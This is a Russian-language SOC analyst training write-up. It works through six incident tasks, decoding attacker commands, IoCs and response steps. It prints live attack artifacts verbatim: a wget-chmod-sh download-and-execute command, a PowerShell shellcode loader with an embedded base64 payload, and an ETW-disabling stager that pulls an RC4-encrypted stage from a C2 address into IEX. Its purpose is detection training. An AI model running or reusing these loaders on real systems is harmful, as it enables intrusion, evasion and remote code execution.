# Работа специалиста SOC ###### tags: `PT 2nd stage` # task 1 ![](https://i.imgur.com/IZhggTs.png) ## Что происходит? Мы наблюдаем, что в некую sh консоль была передана команда, частично заенкоженая в urlencode. засунем строку в бурп декодер ![](https://i.imgur.com/0I2lsAg.png) ``` command= wget http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh ; chmod 777 ohsitsvegawellrip.sh ; sh ohsitsvegawellrip.sh ; wget https://https:%2%2iplogger.org"FGVP5 HTTP/1.1 ``` замечаем что некоторый sh скрипт сначала скачивают через wget, затем меняют права доступа на 777 *(то есть абсолютный доступ для любого пользователя)*, затем запускают через sh. гуглим скрипт и быстро находим кучу информации о нём. ![](https://i.imgur.com/bdItdhz.png) ![](https://i.imgur.com/IlsI7Kt.png) ![](https://i.imgur.com/3havKCP.png) даже есть граф поведения ![](https://i.imgur.com/VeXOKhP.png) вывод: атакующий пытался выполнить атаку RCE. затем через wget скачивается некоторый файл с сайта iplogger.org. Название подозрительное, надо проверить. ## Признаки атаки 1) Для скачивания используется python *(User-Agent: python-requests/2.25.1)* 2) Обычно скрипты скачивают напрямую из терминала, а не через запрос в веб интерфейc, что крайне неудобно. 3) chmod 777 это довольно небезопасный уровень доступа. Если этот скрипт будет выполняться от рута *(например в cron)*, значит любой пользователь сможет изменить скрипт и повысить свои привелегии. 4) использование http протокола ## IoС'и 1. Скачивание файлов с веб-сервера черех http 2. Создание файлов 3. Запуск процесса 4. Использование http протокола 5. chmod 777 ## Как проверить 1. Если сервер атакующего всё ещё работает, то можно попробовать скачать скрипт и проанализировать его. Заменить в нём ip атакующего на подконтрольный, запустить скрипт и посмотреть, что выйдет. 2. Можно посмотреть логи, отсортировав их по времени запроса 3. # task 2 ![](https://i.imgur.com/QwmZPev.png) ## Что подозрительно? 1. Многие слова разорваны, команда выглядит хаотично => код обфусцирован 2. слово Invoke многократно повторяется в различных формах => это какой-то полиглот. Цель - обойти фильтры. 3. Вначале идёт массив с байтами, а затем команда convert to string. Это явно попытка байпаснуть прасер-защиту. ## Цель судя по словам "CommandInvokation", "Web" и "Download", целью атакующего является выполнение команды загрузки какого-то файла. Если эта загрузка удастся, то атакующий сможет загрузить любой файл, а значит можно загрузить reverse-shell и так как команды выполнять тоже можно, то можно этот шелл и запустить. # task 3 ## Что подозрительного? --- Один из процессов открывает вордовский документ под названием "employee termination". Удалить работника - действие серьёзное, проверим. ![](https://i.imgur.com/Ww0It7P.png) проверим импорт-хеш ![](https://i.imgur.com/oQhrDQm.png) чисто ![](https://i.imgur.com/aN5lkuS.png) --- однако после открытия документа запускается powershell Интересно, что parent командой для запуска поша является winword.exe ![](https://i.imgur.com/avEdfYC.png) В powershell была исполнена заенкоженая в base64 команда. ![](https://i.imgur.com/zxq9AoZ.png) декодим строку и узнаём, что это команда для загрузки изображения ![](https://i.imgur.com/P5LWJGw.png) Спустя 2 секунды после загрузки изображения в powershell был запущен скрипт проверки политик от имени user ![](https://i.imgur.com/rQLpD7b.png) Затем открывается пайп (= связь с внешним сервером) ## признаки 1. Спустя 2 секунды после запуска ворда запускается powershell. Обычному пользователю даже чтобы просто просмотреть файл, закрыть его и запустить пош понадобится гораздо больше времени, чем 2 секунды. 2. Запуск скрипта поша в скрытом и закодированном режиме ## IoC'и 1. Открытие документа в ворде 2. запуск скрипта спустя очень короткое время после предыдущего шага 3. скачивание и запись нового файла 4. использование http ## суть Пользователь user открывает вордовский документ, после чего запускается powershell, который скачивает файл. Предположительно пользователя заставили открыть файл, назвав его так, буто он содержит критически важную информацию. После чего скрытый в файле код запустил powershell скрипт. запуск powershell + загрузка изображения ?= adware ![](https://i.imgur.com/uLnehew.png) # task 4 ## Что произошло? MaxPatrol 10 обнаружил попытку запуска пош скрипта в скрытом режиме. статус: успех => скрипт выполнен имя узла: *larteshina.plat.form* действие проведено над аккаунтом ![](https://i.imgur.com/0gU21un.png) скрипт закодирован в base64 ![](https://i.imgur.com/fKJmuZH.png) разкодируем его ![](https://i.imgur.com/iUSpLAO.png) ``` if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v10\powershell.exe'}else{$b='powershell.exe'}; $s=New-Object SystemDiagnosticsProcessStartInfo; $sFileName=$b; $sArguments='-nop -w hidden -c &([scriptblock]::create((New-Object SystemIOStreamReader(New-Object SystemIOCompressionGzipStream((New-Object SystemIOMemoryStream(,[SystemConvert]::FromBase64String(((''H4sIAHC+DGMCA7VX7Y+aSBj/3qT/A2lMxKwruGu3XpMmNygoVndlUVy15sLC''+''CFMHsDD4sr3+7/cMQrVX927vks4XnJnn9f{1}8jcs0''+''dBiJQiGNP{1}Hr61dCvoZ2bA{1}CWNq9qwqlJ6VbOV6Vtv2+owgfBHGO1ut2FNgkXLx/30rjGIfssK91MENJgoNHSnAiVoQ/hYmPY''+''3x59/gZO0z4KpT+qHVo9GjTnGzfsh0fC5codPldP3JsblfNXFPCxPKnT+XK/LK+qKlfUpsmYtncJwwHNZfSckX4VuEKR/s1FssD4sRREi1ZbULC66vaOE''+''zsJb4FaRs8wMyP3KQM3hz9iTFL4zB3i''+''8s5UIll+DmMIw{1}5boyTpFwV5lzDfLH4XZzn6u/TkJEA1/SQ4Thamz''+''j{1}EAc''+''nta4duhTf4+UCuEwWk9BbVCpAtolWWCyFKaVV4b+IEW/xtgDvpUziKRNQDVlcqUJMzzk6iNyU4gNr+YylkAgVWHkyAH7fOITLInuSjTM+kz7Hg2LNsxsMFov''+''DKCEZ8wdBrgoDUG2zKN7DtjSKU1xZfMcbYvNR34XVl4qrF7zAmWzhYG5FxF0c2X+If+lR208+c6rn07mNlyTE7X1oB8QpMlY8FxS8pDjDpFaQ3YKBYjm/wG4bU+zZjKPMc+MnNjUg7DuvkhLq4hg5E''+''NgErIKYV3405hA4sayHAxwAfIc9JGtpCXWCC+q8NvaFdr4HonKL2klSFYYpFKpTFUxsU+xWBRQmJL9CKYuyn+WjuYOUMuLYCSvELSp/xzPX24rChMWpA5EFDEbmGjvEphySqtAlLlb2JvEK/{1}WzgLRsSqF+''+''QNIGAgInHAiT8XyJwdRDblRqJmZ6sKY4AKKsdWjU''+''9qBR5GWSZZjtYbf8nKlFNRxSn4NToHJiKETcpBGrChaJGXQiDnSy/X9W/''+''NyCDua0YpxHSCwKba7sGa+EUrBKEU/VHKYMlJgBIFocBYqd4J''+''vGod2IbySVtN8O29ETgqVq94almGa7''+''a46tGTV1Zk5V0h/7vk7qujcadXsmurg2V2udXPcMoENx{1}+cvkZ7oalfZG3UFOV3yzupl9ETWm''+''4al6chVAu/Bm7a2+tB/0EFRq+/pHnwV3XcU{1}SZ7iqwzvaMpKpGRZxpdo1Gf3Q4cqktNqpAnUzdRd8L1GU6317Z3oEdtNLoPuxG6HfSQr925''+''Wv1K8zn/ivPPVp1+W8''+''32Dt8b00QlKuhRtalh+XhirZWJqs0Ma617F1vPsPpSQ/MVONfJrr82JVj1{1}m8Tuk8D2nwagLmGN{1}sRPNM9vP{1}QgZA5Dan5uG0hRbtvrRttJGtjOFuN9HBnPK4H7n7alX6zBgSvI2SoCGkUSjVA9rYt1SfRR8N6a4xV{1}bcfy7ut+lnaqqS3X{1}Xfc{1}fmxpOWjaFkmXrYtX0F7N33GivSu4C7wLbk6VKyOH6tVSg9hQ/0pjfIMAV/DOAhPF62dw98Bx7EQv1BkixP8tCSWrrXNLyHKLyyVyB74iGwEHyEWC97OmCvpJSsxhcPUn0M9shBbydzW4N{1}E+Rdrc7INH3A1p3ZSOF2KJNOhCarzk1r3xwOwA+rDjJDKx1NuiATbE5XTQ4zxLZttsKOqT9cuY/3inThTm1PmZnOstXsT4i1kaw3kOTzMQnZ9RXkNzH5PHj9quQMT/L8uVk3sOPEtynkP8ywohlpUazlg2kYEc4hivx5s8JxiCk8C{1}DRUNQvojRy+FTMJhhM5MOc5GN7rGcmnftVEb4TVo7Dsjh6/34GRkJP4MVa6+PQY35V3l3LMsw5{1}Sc3stp/uWutaL0XM2FVPikBmUI2zWSDOLIURPGXgwWv''+''IQZN+Xm4nkM''+''OVK+gg0JTP3Q1jp8SRfQUvcytYx6cQA{1}Y1cHvOX8H8QQB9kv8RSg''+''x/ko4fXWUNtHk7pd''+''mTd6affi4/5Y1x7N/uH1RJslVDs5Phz8{1}nIy1X+f/xCYMCE0YMBQfXj7nYcjr5CS8PDZQBct88b8Edym7vIUHZjbk/gKJ8UT2igwAAA{0}{0}'')-f''='',''e'')))),[SystemIOCompressionCompressionMode]::Decompress)))ReadToEnd()))'; $sUseShellExecute=$false; $sRedirectStandardOutput=$true; $sWindowStyle='Hidden'; $sCreateNoWindow=$true; $p=[SystemDiagnosticsProcess]::Start($s); ``` снова b64 строка. Гуглим синтаксис команды в поше ![](https://i.imgur.com/V1ycPAM.png) Сшиваем форматную строку, получаем на выходе валидный base64 ![](https://i.imgur.com/zAgS1x7.png) Слава гуглу, находим информацию по крайне схожей малвари. теперь мы можем задекодить самое интересное https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware ``` function urg { Param ($x7, $zBH) $wLLcB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $wLLcB.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wLLcB.GetMethod('GetModuleHandle')).Invoke($null, @($x7)))), $zBH)) } function svcU { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $wKIxn, [Parameter(Position = 1)] [Type] $sw = [Void] ) $bFyWj = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $bFyWj.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $wKIxn).SetImplementationFlags('Runtime, Managed') $bFyWj.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $sw, $wKIxn).SetImplementationFlags('Runtime, Managed') return $bFyWj.CreateType() } [Byte[]]$mkuA = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUVZlSItSYEiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGFBEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFRCp4DA0FUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V") [Uint32]$miS = 0 $cP = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualAlloc), (svcU @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $mkuA.Length,0x3000, 0x04) [System.Runtime.InteropServices.Marshal]::Copy($mkuA, 0, $cP, $mkuA.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualProtect), (svcU @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($cP, [Uint32]$mkuA.Length, 0x10, [Ref]$miS)) -eq $true) { $voWO = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll CreateThread), (svcU @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cP,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll WaitForSingleObject), (svcU @([IntPtr], [Int32]))).Invoke($voWO,0xffffffff) | Out-Null } ``` Итого: на узле был выполнн вредоносный скрипт ## С помощью чего? с помощью обфусцирования команды. ## С&C и порт не обнаружил # task 5 гуглим часть скрипта и находим кучу информации ## Тип ВПО троян ![](https://i.imgur.com/uOHS4ry.png) ## Перечислить имена загруженных файлов ![](https://i.imgur.com/KtQSmfd.png) # task 6 запихал текстовый лог и чуть-чуть распарсил его питоном, чтоб легче читалось ![](https://i.imgur.com/SLbfiIk.png) ```python with open("kek.txt", 'r') as f, open("output.json", "w") as out: lines = [x for x in f.readlines()] nline = 0 for line in lines: tabs = 0 for symb in line: if symb == "{": tabs += 4 out.write('\n' + tabs * ' ' + '{') elif symb == "}": tabs -= 4 out.write('}' + '\n' + tabs * ' ') elif symb == '\n': out.write('\n' + tabs * ' ') else: out.write(symb) out.write('\n' + '=' * 200 + '\n' + str(nline)) nline += 1 ``` ![](https://i.imgur.com/ilwkGZd.png) Сначала Вася Пупкин открывает zip архив ![](https://i.imgur.com/8atUDOx.png) Затем запускается powershell ![](https://i.imgur.com/jUtqX1t.png) находим закодированный скрипт. декодим его ``` SeTVALuE($nuLl,$TruE); [SystemDiagnosticsEventingEventProvider]"GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance')SetValue([Ref]AssemblyGetType('Syste'+'mManagementAutomationTracingPSE'+'twLogProvider')"GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic')GetValue($null),0); }; [SYsTeMNEtSERVicEPOINtMAnAGEr]::EXPEcT100ConTinUE=0; $5b316=NeW-ObJEct SYSTeMNetWEBCLiENT; $u='Mozilla/50 (Windows NT 61; WOW64; Trident/70; rv:110) like Gecko'; $ser=$([TexTEncodINg]::UNicODeGeTStRINg([CoNvERt]::FromBaSe64STrIng('aAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADIAMgAyAC4AMQAxADoANAAzADIAMQA='))); $t='/admin/getphp'; $5b316HeADerSADD('User-Agent',$u); $5B316Proxy=[SYsTEmNetWEBREQUeST]::DeFaulTWEbPROXy; $5B316PROxyCrEDenTIAlS = [SysTEMNEtCredEntIAlCache]::DEfAULTNETWorkCREDEntIalS; $Script:Proxy = $5b316Proxy; $K=[SYsteMTEXtEncOdiNG]::ASCIIGETByteS('bk]2()mgP!0@sf3VlXa,SIG|%8on<rD#'); $R={$D,$K=$Args; $S=0255; 0255|%{$J=($J+$S[$_]+$K[$_%$KCOUNT])%256; $S[$_],$S[$J]=$S[$J],$S[$_]}; $D|%{$I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxor$S[($S[$I]+$S[$H])%256]}}; $5B316HEAdeRSADd("Cookie","azkGFw=ly2r9xiUrZfcSUzwyVSFZZdZowM="); $DatA=$5b316DoWNlOaDDaTA($ser+$T); $Iv=$DAta[03]; $DAtA=$daTa[4$DAtALeNgtH]; -jOiN[CHar[]](& $R $Data ($IV+$K))|IEX ``` декодим ещё одну b64 строку и получаем адрес сайта ``` http://172.16.222.11:4321 ``` запрос whois сказал,что это локальный адрес. ![](https://i.imgur.com/kfc8wsi.png) Следует проверить устройство под этим адресом и исходить от полученной информации. ## Меры реагирования 1. Проведение ликбеза по информационной безопасности 2. Отслеживание hiden скриптов с b64 строками и выведение промптов. 3. (Метод паранойя++) запускать все пош скрипты в песочнице. ![](https://i.imgur.com/9noo8xM.png)